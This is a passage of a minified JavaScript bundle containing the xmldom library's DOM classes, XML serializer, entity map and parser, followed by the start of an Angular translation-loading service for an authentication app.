allowed",7),_.NOT_FOUND_ERR=(v[8]="Not found",8)),w=(_.NOT_SUPPORTED_ERR=(v[9]="Not supported",9),_.INUSE_ATTRIBUTE_ERR=(v[10]="Attribute in use",10));function x(t,e){if(e instanceof Error)var n=e;else n=this,Error.call(this,v[t]),this.message=v[t],Error.captureStackTrace&&Error.captureStackTrace(this,x);return n.code=t,e&&(this.message=this.message+": "+e),n}function C(){}function S(t,e){this._node=t,this._refresh=e,E(this)}function E(t){var e=t._node._inc||t._node.ownerDocument._inc;if(t._inc!=e){var i=t._refresh(t._node);it(t,"length",i.length),n(i,t),t._inc=e}}function k(){}function T(t,e){for(var n=t.length;n--;)if(t[n]===e)return n}function A(t,e,n,i){if(i?e[T(e,i)]=n:e[e.length++]=n,t){n.ownerElement=t;var s=t.ownerDocument;s&&(i&&L(s,t,i),function(t,e,n){t&&t._inc++,"http://www.w3.org/2000/xmlns/"==n.namespaceURI&&(e._nsMap[n.prefix?n.localName:""]=n.value)}(s,t,n))}}function I(t,e,n){var i=T(e,n);if(!(i>=0))throw x(y,new Error(t.tagName+"@"+n));for(var s=e.length-1;i<s;)e[i]=e[++i];if(e.length=s,t){var r=t.ownerDocument;r&&(L(r,t,n),n.ownerElement=null)}}function O(t){if(this._features={},t)for(var e in t)this._features=t[e]}function R(){}function P(t){return("<"==t?"<":">"==t&&">")||"&"==t&&"&"||'"'==t&&"""||"&#"+t.charCodeAt()+";"}function N(t,e){if(e(t))return!0;if(t=t.firstChild)do{if(N(t,e))return!0}while(t=t.nextSibling)}function D(){}function L(t,e,n,i){t&&t._inc++,"http://www.w3.org/2000/xmlns/"==n.namespaceURI&&delete e._nsMap[n.prefix?n.localName:""]}function M(t,e,n){if(t&&t._inc){t._inc++;var i=e.childNodes;if(n)i[i.length++]=n;else{for(var s=e.firstChild,r=0;s;)i[r++]=s,s=s.nextSibling;i.length=r}}}function F(t,e){var n=e.previousSibling,i=e.nextSibling;return n?n.nextSibling=i:t.firstChild=i,i?i.previousSibling=n:t.lastChild=n,M(t.ownerDocument,t),e}function U(t,e,n){var i=e.parentNode;if(i&&i.removeChild(e),e.nodeType===m){var s=e.firstChild;if(null==s)return e;var r=e.lastChild}else s=r=e;var o=n?n.previousSibling:t.lastChild;s.previousSibling=o,r.nextSibling=n,o?o.nextSibling=s:t.firstChild=s,null==n?t.lastChild=r:n.previousSibling=r;do{s.parentNode=t}while(s!==r&&(s=s.nextSibling));return M(t.ownerDocument||t,t),e.nodeType==m&&(e.firstChild=e.lastChild=null),e}function B(){this._nsMap={}}function j(){}function H(){}function V(){}function G(){}function Y(){}function q(){}function $(){}function z(){}function Z(){}function W(){}function J(){}function Q(){}function K(t,e){var n=[],i=9==this.nodeType&&this.documentElement||this,s=i.prefix,r=i.namespaceURI;if(r&&null==s&&null==(s=i.lookupPrefix(r)))var o=[{namespace:r,prefix:null}];return tt(this,n,t,e,o),n.join("")}function X(t,e,n){var i=t.prefix||"",s=t.namespaceURI;if(!i&&!s||"xml"===i&&"http://www.w3.org/XML/1998/namespace"===s||"http://www.w3.org/2000/xmlns/"==s)return!1;for(var r=n.length;r--;){var o=n[r];if(o.prefix==i)return o.namespace!=s}return!0}function tt(t,e,n,i,s){if(i){if(!(t=i(t)))return;if("string"==typeof t)return void e.push(t)}switch(t.nodeType){case r:s||(s=[]);var u=t.attributes,g=u.length,_=t.firstChild,v=t.tagName;n="http://www.w3.org/1999/xhtml"===t.namespaceURI||n,e.push("<",v);for(var b=0;b<g;b++)"xmlns"==(y=u.item(b)).prefix?s.push({prefix:y.localName,namespace:y.value}):"xmlns"==y.nodeName&&s.push({prefix:"",namespace:y.value});for(b=0;b<g;b++){var y;X(y=u.item(b),0,s)&&(e.push((x=y.prefix||"")?" xmlns:"+x:" xmlns",'="',w=y.namespaceURI,'"'),s.push({prefix:x,namespace:w})),tt(y,e,n,i,s)}if(X(t,0,s)){var w,x=t.prefix||"";(w=t.namespaceURI)&&(e.push(x?" xmlns:"+x:" xmlns",'="',w,'"'),s.push({prefix:x,namespace:w}))}if(_||n&&!/^(?:meta|link|img|br|hr|input)$/i.test(v)){if(e.push(">"),n&&/^script$/i.test(v))for(;_;)_.data?e.push(_.data):tt(_,e,n,i,s),_=_.nextSibling;else for(;_;)tt(_,e,n,i,s),_=_.nextSibling;e.push("</",v,">")}else e.push("/>");return;case p:case m:for(_=t.firstChild;_;)tt(_,e,n,i,s),_=_.nextSibling;return;case o:return e.push(" ",t.name,'="',t.value.replace(/[<&"]/g,P),'"');case a:return e.push(t.data.replace(/[<&]/g,P).replace(/]]>/g,"]]>"));case c:return e.push("<![CDATA[",t.data,"]]>");case d:return e.push("\x3c!--",t.data,"--\x3e");case f:var C=t.publicId,S=t.systemId;if(e.push("<!DOCTYPE ",t.name),C)e.push(" PUBLIC ",C),S&&"."!=S&&e.push(" ",S),e.push(">");else if(S&&"."!=S)e.push(" SYSTEM ",S,">");else{var E=t.internalSubset;E&&e.push(" [",E,"]"),e.push(">")}return;case h:return e.push("<?",t.target," ",t.data,"?>");case l:return e.push("&",t.nodeName,";");default:e.push("??",t.nodeName)}}function et(t,e,n){var i;switch(e.nodeType){case r:(i=e.cloneNode(!1)).ownerDocument=t;case m:break;case o:n=!0}if(i||(i=e.cloneNode(!1)),i.ownerDocument=t,i.parentNode=null,n)for(var s=e.firstChild;s;)i.appendChild(et(t,s,n)),s=s.nextSibling;return i}function nt(t,e,n){var i=new e.constructor;for(var s in e){var a=e[s];"object"!=typeof a&&a!=i[s]&&(i[s]=a)}switch(e.childNodes&&(i.childNodes=new C),i.ownerDocument=t,i.nodeType){case r:var c=e.attributes,l=i.attributes=new k,u=c.length;l._ownerElement=i;for(var h=0;h<u;h++)i.setAttributeNode(nt(t,c.item(h),!0));break;case o:n=!0}if(n)for(var d=e.firstChild;d;)i.appendChild(nt(t,d,n)),d=d.nextSibling;return i}function it(t,e,n){t[e]=n}_.INVALID_STATE_ERR=(v[11]="Invalid state",11),_.SYNTAX_ERR=(v[12]="Syntax error",12),_.INVALID_MODIFICATION_ERR=(v[13]="Invalid modification",13),_.NAMESPACE_ERR=(v[14]="Invalid namespace",14),_.INVALID_ACCESS_ERR=(v[15]="Invalid access",15),x.prototype=Error.prototype,n(_,x),C.prototype={length:0,item:function(t){return this[t]||null},toString:function(t,e){for(var n=[],i=0;i<this.length;i++)tt(this[i],n,t,e);return n.join("")}},S.prototype.item=function(t){return E(this),this[t]},i(S,C),k.prototype={length:0,item:C.prototype.item,getNamedItem:function(t){for(var e=this.length;e--;){var n=this[e];if(n.nodeName==t)return n}},setNamedItem:function(t){var e=t.ownerElement;if(e&&e!=this._ownerElement)throw new x(w);var n=this.getNamedItem(t.nodeName);return A(this._ownerElement,this,t,n),n},setNamedItemNS:function(t){var e,n=t.ownerElement;if(n&&n!=this._ownerElement)throw new x(w);return e=this.getNamedItemNS(t.namespaceURI,t.localName),A(this._ownerElement,this,t,e),e},removeNamedItem:function(t){var e=this.getNamedItem(t);return I(this._ownerElement,this,e),e},removeNamedItemNS:function(t,e){var n=this.getNamedItemNS(t,e);return I(this._ownerElement,this,n),n},getNamedItemNS:function(t,e){for(var n=this.length;n--;){var i=this[n];if(i.localName==e&&i.namespaceURI==t)return i}return null}},O.prototype={hasFeature:function(t,e){var n=this._features[t.toLowerCase()];return!(!n||e&&!(e in n))},createDocument:function(t,e,n){var i=new D;if(i.implementation=this,i.childNodes=new C,i.doctype=n,n&&i.appendChild(n),e){var s=i.createElementNS(t,e);i.appendChild(s)}return i},createDocumentType:function(t,e,n){var i=new q;return i.name=t,i.nodeName=t,i.publicId=e,i.systemId=n,i}},R.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(t,e){return U(this,t,e)},replaceChild:function(t,e){this.insertBefore(t,e),e&&this.removeChild(e)},removeChild:function(t){return F(this,t)},appendChild:function(t){return this.insertBefore(t,null)},hasChildNodes:function(){return null!=this.firstChild},cloneNode:function(t){return nt(this.ownerDocument||this,this,t)},normalize:function(){for(var t=this.firstChild;t;){var e=t.nextSibling;e&&e.nodeType==a&&t.nodeType==a?(this.removeChild(e),t.appendData(e.data)):(t.normalize(),t=e)}},isSupported:function(t,e){return this.ownerDocument.implementation.hasFeature(t,e)},hasAttributes:function(){return this.attributes.length>0},lookupPrefix:function(t){for(var e=this;e;){var n=e._nsMap;if(n)for(var i in n)if(n[i]==t)return i;e=e.nodeType==o?e.ownerDocument:e.parentNode}return null},lookupNamespaceURI:function(t){for(var e=this;e;){var n=e._nsMap;if(n&&t in n)return n[t];e=e.nodeType==o?e.ownerDocument:e.parentNode}return null},isDefaultNamespace:function(t){return null==this.lookupPrefix(t)}},n(s,R),n(s,R.prototype),D.prototype={nodeName:"#document",nodeType:p,doctype:null,documentElement:null,_inc:1,insertBefore:function(t,e){if(t.nodeType==m){for(var n=t.firstChild;n;){var i=n.nextSibling;this.insertBefore(n,e),n=i}return t}return null==this.documentElement&&t.nodeType==r&&(this.documentElement=t),U(this,t,e),t.ownerDocument=this,t},removeChild:function(t){return this.documentElement==t&&(this.documentElement=null),F(this,t)},importNode:function(t,e){return et(this,t,e)},getElementById:function(t){var e=null;return N(this.documentElement,function(n){if(n.nodeType==r&&n.getAttribute("id")==t)return e=n,!0}),e},getElementsByClassName:function(t){var e=new RegExp("(^|\\s)"+t+"(\\s|$)");return new S(this,function(t){var n=[];return N(t.documentElement,function(i){i!==t&&i.nodeType==r&&e.test(i.getAttribute("class"))&&n.push(i)}),n})},createElement:function(t){var e=new B;return e.ownerDocument=this,e.nodeName=t,e.tagName=t,e.childNodes=new C,(e.attributes=new k)._ownerElement=e,e},createDocumentFragment:function(){var t=new W;return t.ownerDocument=this,t.childNodes=new C,t},createTextNode:function(t){var e=new V;return e.ownerDocument=this,e.appendData(t),e},createComment:function(t){var e=new G;return e.ownerDocument=this,e.appendData(t),e},createCDATASection:function(t){var e=new Y;return e.ownerDocument=this,e.appendData(t),e},createProcessingInstruction:function(t,e){var n=new J;return n.ownerDocument=this,n.tagName=n.target=t,n.nodeValue=n.data=e,n},createAttribute:function(t){var e=new j;return e.ownerDocument=this,e.name=t,e.nodeName=t,e.localName=t,e.specified=!0,e},createEntityReference:function(t){var e=new Z;return e.ownerDocument=this,e.nodeName=t,e},createElementNS:function(t,e){var n=new B,i=e.split(":"),s=n.attributes=new k;return n.childNodes=new C,n.ownerDocument=this,n.nodeName=e,n.tagName=e,n.namespaceURI=t,2==i.length?(n.prefix=i[0],n.localName=i[1]):n.localName=e,s._ownerElement=n,n},createAttributeNS:function(t,e){var n=new j,i=e.split(":");return n.ownerDocument=this,n.nodeName=e,n.name=e,n.namespaceURI=t,n.specified=!0,2==i.length?(n.prefix=i[0],n.localName=i[1]):n.localName=e,n}},i(D,R),D.prototype.getElementsByTagName=(B.prototype={nodeType:r,hasAttribute:function(t){return null!=this.getAttributeNode(t)},getAttribute:function(t){var e=this.getAttributeNode(t);return e&&e.value||""},getAttributeNode:function(t){return this.attributes.getNamedItem(t)},setAttribute:function(t,e){var n=this.ownerDocument.createAttribute(t);n.value=n.nodeValue=""+e,this.setAttributeNode(n)},removeAttribute:function(t){var e=this.getAttributeNode(t);e&&this.removeAttributeNode(e)},appendChild:function(t){return t.nodeType===m?this.insertBefore(t,null):function(t,e){var n=e.parentNode;if(n){var i=t.lastChild;n.removeChild(e),i=t.lastChild}return i=t.lastChild,e.parentNode=t,e.previousSibling=i,e.nextSibling=null,i?i.nextSibling=e:t.firstChild=e,t.lastChild=e,M(t.ownerDocument,t,e),e}(this,t)},setAttributeNode:function(t){return this.attributes.setNamedItem(t)},setAttributeNodeNS:function(t){return this.attributes.setNamedItemNS(t)},removeAttributeNode:function(t){return this.attributes.removeNamedItem(t.nodeName)},removeAttributeNS:function(t,e){var n=this.getAttributeNodeNS(t,e);n&&this.removeAttributeNode(n)},hasAttributeNS:function(t,e){return null!=this.getAttributeNodeNS(t,e)},getAttributeNS:function(t,e){var n=this.getAttributeNodeNS(t,e);return n&&n.value||""},setAttributeNS:function(t,e,n){var i=this.ownerDocument.createAttributeNS(t,e);i.value=i.nodeValue=""+n,this.setAttributeNode(i)},getAttributeNodeNS:function(t,e){return this.attributes.getNamedItemNS(t,e)},getElementsByTagName:function(t){return new S(this,function(e){var n=[];return N(e,function(i){i!==e&&i.nodeType==r&&("*"===t||i.tagName==t)&&n.push(i)}),n})},getElementsByTagNameNS:function(t,e){return new S(this,function(n){var i=[];return N(n,function(s){s!==n&&s.nodeType===r&&("*"===t||s.namespaceURI===t)&&("*"===e||s.localName==e)&&i.push(s)}),i})}}).getElementsByTagName,D.prototype.getElementsByTagNameNS=B.prototype.getElementsByTagNameNS,i(B,R),j.prototype.nodeType=o,i(j,R),H.prototype={data:"",substringData:function(t,e){return this.data.substring(t,t+e)},appendData:function(t){this.nodeValue=this.data=t=this.data+t,this.length=t.length},insertData:function(t,e){this.replaceData(t,0,e)},appendChild:function(t){throw new Error(v[b])},deleteData:function(t,e){this.replaceData(t,e,"")},replaceData:function(t,e,n){var i=this.data.substring(0,t),s=this.data.substring(t+e);this.nodeValue=this.data=n=i+n+s,this.length=n.length}},i(H,R),V.prototype={nodeName:"#text",nodeType:a,splitText:function(t){var e=this.data,n=e.substring(t);e=e.substring(0,t),this.data=this.nodeValue=e,this.length=e.length;var i=this.ownerDocument.createTextNode(n);return this.parentNode&&this.parentNode.insertBefore(i,this.nextSibling),i}},i(V,H),G.prototype={nodeName:"#comment",nodeType:d},i(G,H),Y.prototype={nodeName:"#cdata-section",nodeType:c},i(Y,H),q.prototype.nodeType=f,i(q,R),$.prototype.nodeType=g,i($,R),z.prototype.nodeType=u,i(z,R),Z.prototype.nodeType=l,i(Z,R),W.prototype.nodeName="#document-fragment",W.prototype.nodeType=m,i(W,R),J.prototype.nodeType=h,i(J,R),Q.prototype.serializeToString=function(t,e,n){return K.call(t,e,n)},R.prototype.toString=K;try{if(Object.defineProperty){let t=function(e){switch(e.nodeType){case r:case m:var n=[];for(e=e.firstChild;e;)7!==e.nodeType&&8!==e.nodeType&&n.push(t(e)),e=e.nextSibling;return n.join("");default:return e.nodeValue}};Object.defineProperty(S.prototype,"length",{get:function(){return E(this),this.$$length}}),Object.defineProperty(R.prototype,"textContent",{get:function(){return t(this)},set:function(t){switch(this.nodeType){case r:case m:for(;this.firstChild;)this.removeChild(this.firstChild);(t||String(t))&&this.appendChild(this.ownerDocument.createTextNode(t));break;default:this.data=t,this.value=t,this.nodeValue=t}}}),it=function(t,e,n){t["$$"+e]=n}}}catch(st){}e.DOMImplementation=O,e.XMLSerializer=Q},4107:function(t,e){e.entityMap={lt:"<",gt:">",amp:"&",quot:'"',apos:"'",Agrave:"\xc0",Aacute:"\xc1",Acirc:"\xc2",Atilde:"\xc3",Auml:"\xc4",Aring:"\xc5",AElig:"\xc6",Ccedil:"\xc7",Egrave:"\xc8",Eacute:"\xc9",Ecirc:"\xca",Euml:"\xcb",Igrave:"\xcc",Iacute:"\xcd",Icirc:"\xce",Iuml:"\xcf",ETH:"\xd0",Ntilde:"\xd1",Ograve:"\xd2",Oacute:"\xd3",Ocirc:"\xd4",Otilde:"\xd5",Ouml:"\xd6",Oslash:"\xd8",Ugrave:"\xd9",Uacute:"\xda",Ucirc:"\xdb",Uuml:"\xdc",Yacute:"\xdd",THORN:"\xde",szlig:"\xdf",agrave:"\xe0",aacute:"\xe1",acirc:"\xe2",atilde:"\xe3",auml:"\xe4",aring:"\xe5",aelig:"\xe6",ccedil:"\xe7",egrave:"\xe8",eacute:"\xe9",ecirc:"\xea",euml:"\xeb",igrave:"\xec",iacute:"\xed",icirc:"\xee",iuml:"\xef",eth:"\xf0",ntilde:"\xf1",ograve:"\xf2",oacute:"\xf3",ocirc:"\xf4",otilde:"\xf5",ouml:"\xf6",oslash:"\xf8",ugrave:"\xf9",uacute:"\xfa",ucirc:"\xfb",uuml:"\xfc",yacute:"\xfd",thorn:"\xfe",yuml:"\xff",nbsp:"\xa0",iexcl:"\xa1",cent:"\xa2",pound:"\xa3",curren:"\xa4",yen:"\xa5",brvbar:"\xa6",sect:"\xa7",uml:"\xa8",copy:"\xa9",ordf:"\xaa",laquo:"\xab",not:"\xac",shy:"\xad\xad",reg:"\xae",macr:"\xaf",deg:"\xb0",plusmn:"\xb1",sup2:"\xb2",sup3:"\xb3",acute:"\xb4",micro:"\xb5",para:"\xb6",middot:"\xb7",cedil:"\xb8",sup1:"\xb9",ordm:"\xba",raquo:"\xbb",frac14:"\xbc",frac12:"\xbd",frac34:"\xbe",iquest:"\xbf",times:"\xd7",divide:"\xf7",forall:"\u2200",part:"\u2202",exist:"\u2203",empty:"\u2205",nabla:"\u2207",isin:"\u2208",notin:"\u2209",ni:"\u220b",prod:"\u220f",sum:"\u2211",minus:"\u2212",lowast:"\u2217",radic:"\u221a",prop:"\u221d",infin:"\u221e",ang:"\u2220",and:"\u2227",or:"\u2228",cap:"\u2229",cup:"\u222a",int:"\u222b",there4:"\u2234",sim:"\u223c",cong:"\u2245",asymp:"\u2248",ne:"\u2260",equiv:"\u2261",le:"\u2264",ge:"\u2265",sub:"\u2282",sup:"\u2283",nsub:"\u2284",sube:"\u2286",supe:"\u2287",oplus:"\u2295",otimes:"\u2297",perp:"\u22a5",sdot:"\u22c5",Alpha:"\u0391",Beta:"\u0392",Gamma:"\u0393",Delta:"\u0394",Epsilon:"\u0395",Zeta:"\u0396",Eta:"\u0397",Theta:"\u0398",Iota:"\u0399",Kappa:"\u039a",Lambda:"\u039b",Mu:"\u039c",Nu:"\u039d",Xi:"\u039e",Omicron:"\u039f",Pi:"\u03a0",Rho:"\u03a1",Sigma:"\u03a3",Tau:"\u03a4",Upsilon:"\u03a5",Phi:"\u03a6",Chi:"\u03a7",Psi:"\u03a8",Omega:"\u03a9",alpha:"\u03b1",beta:"\u03b2",gamma:"\u03b3",delta:"\u03b4",epsilon:"\u03b5",zeta:"\u03b6",eta:"\u03b7",theta:"\u03b8",iota:"\u03b9",kappa:"\u03ba",lambda:"\u03bb",mu:"\u03bc",nu:"\u03bd",xi:"\u03be",omicron:"\u03bf",pi:"\u03c0",rho:"\u03c1",sigmaf:"\u03c2",sigma:"\u03c3",tau:"\u03c4",upsilon:"\u03c5",phi:"\u03c6",chi:"\u03c7",psi:"\u03c8",omega:"\u03c9",thetasym:"\u03d1",upsih:"\u03d2",piv:"\u03d6",OElig:"\u0152",oelig:"\u0153",Scaron:"\u0160",scaron:"\u0161",Yuml:"\u0178",fnof:"\u0192",circ:"\u02c6",tilde:"\u02dc",ensp:"\u2002",emsp:"\u2003",thinsp:"\u2009",zwnj:"\u200c",zwj:"\u200d",lrm:"\u200e",rlm:"\u200f",ndash:"\u2013",mdash:"\u2014",lsquo:"\u2018",rsquo:"\u2019",sbquo:"\u201a",ldquo:"\u201c",rdquo:"\u201d",bdquo:"\u201e",dagger:"\u2020",Dagger:"\u2021",bull:"\u2022",hellip:"\u2026",permil:"\u2030",prime:"\u2032",Prime:"\u2033",lsaquo:"\u2039",rsaquo:"\u203a",oline:"\u203e",euro:"\u20ac",trade:"\u2122",larr:"\u2190",uarr:"\u2191",rarr:"\u2192",darr:"\u2193",harr:"\u2194",crarr:"\u21b5",lceil:"\u2308",rceil:"\u2309",lfloor:"\u230a",rfloor:"\u230b",loz:"\u25ca",spades:"\u2660",clubs:"\u2663",hearts:"\u2665",diams:"\u2666"}},10549:function(t,e){var n=/[A-Z_a-z\xC0-\xD6\xD8-\xF6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]/,i=new RegExp("[\\-\\.0-9"+n.source.slice(1,-1)+"\\u00B7\\u0300-\\u036F\\u203F-\\u2040]"),s=new RegExp("^"+n.source+i.source+"*(?::"+n.source+i.source+"*)?$");function r(t,e){this.message=t,this.locator=e,Error.captureStackTrace&&Error.captureStackTrace(this,r)}function o(){}function a(t,e){return e.lineNumber=t.lineNumber,e.columnNumber=t.columnNumber,e}function c(t,e,n,i,s,r){function o(t,e,i){t in n.attributeNames&&r.fatalError("Attribute "+t+" redefined"),n.addValue(t,e,i)}for(var a,c=++e,l=0;;){var u=t.charAt(c);switch(u){case"=":if(1===l)a=t.slice(e,c),l=3;else{if(2!==l)throw new Error("attribute equal must after attrName");l=3}break;case"'":case'"':if(3===l||1===l){if(1===l&&(r.warning('attribute value must after "="'),a=t.slice(e,c)),!((c=t.indexOf(u,e=c+1))>0))throw new Error("attribute value no end '"+u+"' match");o(a,h=t.slice(e,c).replace(/&#?\w+;/g,s),e-1),l=5}else{if(4!=l)throw new Error('attribute value must after "="');o(a,h=t.slice(e,c).replace(/&#?\w+;/g,s),e),r.warning('attribute "'+a+'" missed start quot('+u+")!!"),e=c+1,l=5}break;case"/":switch(l){case 0:n.setTagName(t.slice(e,c));case 5:case 6:case 7:l=7,n.closed=!0;case 4:case 1:case 2:break;default:throw new Error("attribute invalid close char('/')")}break;case"":return r.error("unexpected end of input"),0==l&&n.setTagName(t.slice(e,c)),c;case">":switch(l){case 0:n.setTagName(t.slice(e,c));case 5:case 6:case 7:break;case 4:case 1:"/"===(h=t.slice(e,c)).slice(-1)&&(n.closed=!0,h=h.slice(0,-1));case 2:2===l&&(h=a),4==l?(r.warning('attribute "'+h+'" missed quot(")!'),o(a,h.replace(/&#?\w+;/g,s),e)):(("http://www.w3.org/1999/xhtml"!==i[""]||!h.match(/^(?:disabled|checked|selected)$/i))&&r.warning('attribute "'+h+'" missed value!! "'+h+'" instead!!'),o(h,h,e));break;case 3:throw new Error("attribute value missed!!")}return c;case"\x80":u=" ";default:if(u<=" ")switch(l){case 0:n.setTagName(t.slice(e,c)),l=6;break;case 1:a=t.slice(e,c),l=2;break;case 4:var h=t.slice(e,c).replace(/&#?\w+;/g,s);r.warning('attribute "'+h+'" missed quot(")!!'),o(a,h,e);case 5:l=6}else switch(l){case 2:("http://www.w3.org/1999/xhtml"!==i[""]||!a.match(/^(?:disabled|checked|selected)$/i))&&r.warning('attribute "'+a+'" missed value!! "'+a+'" instead2!!'),o(a,a,e),e=c,l=1;break;case 5:r.warning('attribute space is required"'+a+'"!!');case 6:l=1,e=c;break;case 3:l=4,e=c;break;case 7:throw new Error("elements closed character '/' and '>' must be connected to")}}c++}}function l(t,e,n){for(var i=t.tagName,s=null,r=t.length;r--;){var o=t[r],a=o.qName,c=o.value;if((p=a.indexOf(":"))>0)var l=o.prefix=a.slice(0,p),u=a.slice(p+1),h="xmlns"===l&&u;else u=a,l=null,h="xmlns"===a&&"";o.localName=u,!1!==h&&(null==s&&(s={},d(n,n={})),n[h]=s[h]=c,o.uri="http://www.w3.org/2000/xmlns/",e.startPrefixMapping(h,c))}for(r=t.length;r--;)(l=(o=t[r]).prefix)&&("xml"===l&&(o.uri="http://www.w3.org/XML/1998/namespace"),"xmlns"!==l&&(o.uri=n[l||""]));var p;(p=i.indexOf(":"))>0?(l=t.prefix=i.slice(0,p),u=t.localName=i.slice(p+1)):(l=null,u=t.localName=i);var f=t.uri=n[l||""];if(e.startElement(f,u,i,t),!t.closed)return t.currentNSMap=n,t.localNSMap=s,!0;if(e.endElement(f,u,i),s)for(l in s)e.endPrefixMapping(l)}function u(t,e,n,i,s){if(/^(?:script|textarea)$/i.test(n)){var r=t.indexOf("</"+n+">",e),o=t.substring(e+1,r);if(/[&<]/.test(o))return/^script$/i.test(n)?(s.characters(o,0,o.length),r):(o=o.replace(/&#?\w+;/g,i),s.characters(o,0,o.length),r)}return e+1}function h(t,e,n,i){var s=i[n];return null==s&&((s=t.lastIndexOf("</"+n+">"))<e&&(s=t.lastIndexOf("</"+n)),i[n]=s),s<e}function d(t,e){for(var n in t)e[n]=t[n]}function p(t,e,n,i){switch(t.charAt(e+2)){case"-":return"-"===t.charAt(e+3)?(s=t.indexOf("--\x3e",e+4))>e?(n.comment(t,e+4,s-e-4),s+3):(i.error("Unclosed comment"),-1):-1;default:if("CDATA["==t.substr(e+3,6)){var s=t.indexOf("]]>",e+9);return n.startCDATA(),n.characters(t,e+9,s-e-9),n.endCDATA(),s+3}var r=function(t,e){var n,i=[],s=/'[^']+'|"[^"]+"|[^\s<>\/=]+=?|(\/?\s*>|<)/g;for(s.lastIndex=e,s.exec(t);n=s.exec(t);)if(i.push(n),n[1])return i}(t,e),o=r.length;if(o>1&&/!doctype/i.test(r[0][0])){var a=r[1][0],c=!1,l=!1;o>3&&(/^public$/i.test(r[2][0])?(c=r[3][0],l=o>4&&r[4][0]):/^system$/i.test(r[2][0])&&(l=r[3][0]));var u=r[o-1];return n.startDTD(a,c,l),n.endDTD(),u.index+u[0].length}}return-1}function f(t,e,n){var i=t.indexOf("?>",e);if(i){var s=t.substring(e,i).match(/^<\?(\S*)\s*([\s\S]*?)\s*$/);return s?(n.processingInstruction(s[1],s[2]),i+2):-1}return-1}function m(){this.attributeNames={}}(r.prototype=new Error).name=r.name,o.prototype={parse:function(t,e,n){var i=this.domBuilder;i.startDocument(),d(e,e={}),function(t,e,n,i,s){function o(t){var e=t.slice(1,-1);return e in n?n[e]:"#"===e.charAt(0)?function(t){return t>65535?(t-=65536,String.fromCharCode(55296+(t>>10),56320+(1023&t))):String.fromCharCode(t)}(parseInt(e.substr(1).replace("x","0x"))):(s.error("entity not found:"+t),t)}function d(e){if(e>C){var n=t.substring(C,e).replace(/&#?\w+;/g,o);y&&g(C),i.characters(n,0,e-C),C=e}}function g(e,n){for(;e>=v&&(n=b.exec(t));)v=(_=n.index)+n[0].length,y.lineNumber++;y.columnNumber=e-_+1}for(var _=0,v=0,b=/.*(?:\r\n?|\n)|.*$/g,y=i.locator,w=[{currentNSMap:e}],x={},C=0;;){try{var S=t.indexOf("<",C);if(S<0){if(!t.substr(C).match(/^\s*$/)){var E=i.doc,k=E.createTextNode(t.substr(C));E.appendChild(k),i.currentElement=k}return}switch(S>C&&d(S),t.charAt(S+1)){case"/":var T=t.indexOf(">",S+3),A=t.substring(S+2,T),I=w.pop();T<0?(A=t.substring(S+2).replace(/[\s<].*/,""),s.error("end tag name: "+A+" is not complete:"+I.tagName),T=S+1+A.length):A.match(/\s</)&&(A=A.replace(/[\s<].*/,""),s.error("end tag name: "+A+" maybe not complete"),T=S+1+A.length);var O=I.localNSMap,R=I.tagName==A;if(R||I.tagName&&I.tagName.toLowerCase()==A.toLowerCase()){if(i.endElement(I.uri,I.localName,A),O)for(var P in O)i.endPrefixMapping(P);R||s.fatalError("end tag name: "+A+" is not match the current start tagName:"+I.tagName)}else w.push(I);T++;break;case"?":y&&g(S),T=f(t,S,i);break;case"!":y&&g(S),T=p(t,S,i,s);break;default:y&&g(S);var N=new m,D=w[w.length-1].currentNSMap,L=(T=c(t,S,N,D,o,s),N.length);if(!N.closed&&h(t,T,N.tagName,x)&&(N.closed=!0,n.nbsp||s.warning("unclosed xml attribute")),y&&L){for(var M=a(y,{}),F=0;F<L;F++){var U=N[F];g(U.offset),U.locator=a(y,{})}i.locator=M,l(N,i,D)&&w.push(N),i.locator=y}else l(N,i,D)&&w.push(N);"http://www.w3.org/1999/xhtml"!==N.uri||N.closed?T++:T=u(t,T,N.tagName,o,i)}}catch(B){if(B instanceof r)throw B;s.error("element parse error: "+B),T=-1}T>C?C=T:d(Math.max(S,C)+1)}}(t,e,n,i,this.errorHandler),i.endDocument()}},m.prototype={setTagName:function(t){if(!s.test(t))throw new Error("invalid tagName:"+t);this.tagName=t},addValue:function(t,e,n){if(!s.test(t))throw new Error("invalid attribute:"+t);this.attributeNames[t]=this.length,this[this.length++]={qName:t,value:e,offset:n}},length:0,getLocalName:function(t){return this[t].localName},getLocator:function(t){return this[t].locator},getQName:function(t){return this[t].qName},getURI:function(t){return this[t].uri},getValue:function(t){return this[t].value}},e.XMLReader=o,e.ParseError=r},27809:function(t,e,n){"use strict";n.d(e,{R:function(){return g}});var i=n(3786),s=n(32118),r=n.n(s),o=n(80722),a=n(62901),c=n(51257),l=n(13660),u=n(22210),h=n(92932),d=n(2316),p=n(50501),f=n(54364),m=n(18742);let g=(()=>{class t{constructor(t,e,n,i,s,r,o){this.errorHandlerService=t,this.commonInfoService=e,this.i18n=n,this.localeService=i,this.location=s,this.snackbarService=r,this.windowRef=o}get assetsPath(){return`${this.webAssetsUrl}/auth-app/assets`}get projectBasePath(){return`${this.webAssetsUrl}/auth-app`}get webAssetsUrl(){return h.N.webAssetsURL}get languageCode(){const t=this.windowRef.nativeWindow,e=Object.keys(this.commonInfoService.availableLanguages||[]);let n=(0,l.s)(this.location.path(),e);return!n&&t.navigator&&(n=t.navigator.language),(!n||!e.includes(n))&&(n=this.localeService.defaultUrlPath),n}load(){return(0,i.mG)(this,void 0,void 0,function*(){try{yield this.commonInfoService.load()}catch(t){if(!(t instanceof Error))return;this.snackbarService.open(null==t?void 0:t.message)}return this.localeService.set(this.languageCode),yield this.maybeFetchTranslations()})}maybeFetchTranslations(){return(0,i.mG)(this,void 0,void 0,function*(){if(this.localeService.locale===this.localeService.defaultLocale)return;const t=`${this.webAssetsUrl}/auth-app/locale/${this.localeService.locale}.json`;try{yield this.i18n.fetchTranslations(t)}catch(e){this.snackbarService.open("Unable to load translations"),this.errorHandlerService.useBugsnag()&&r().notify("Unable to load translations",t=>{t.addMetadata("Translation error",{error:e})})}})}}return t.\u0275fac=function(e){return 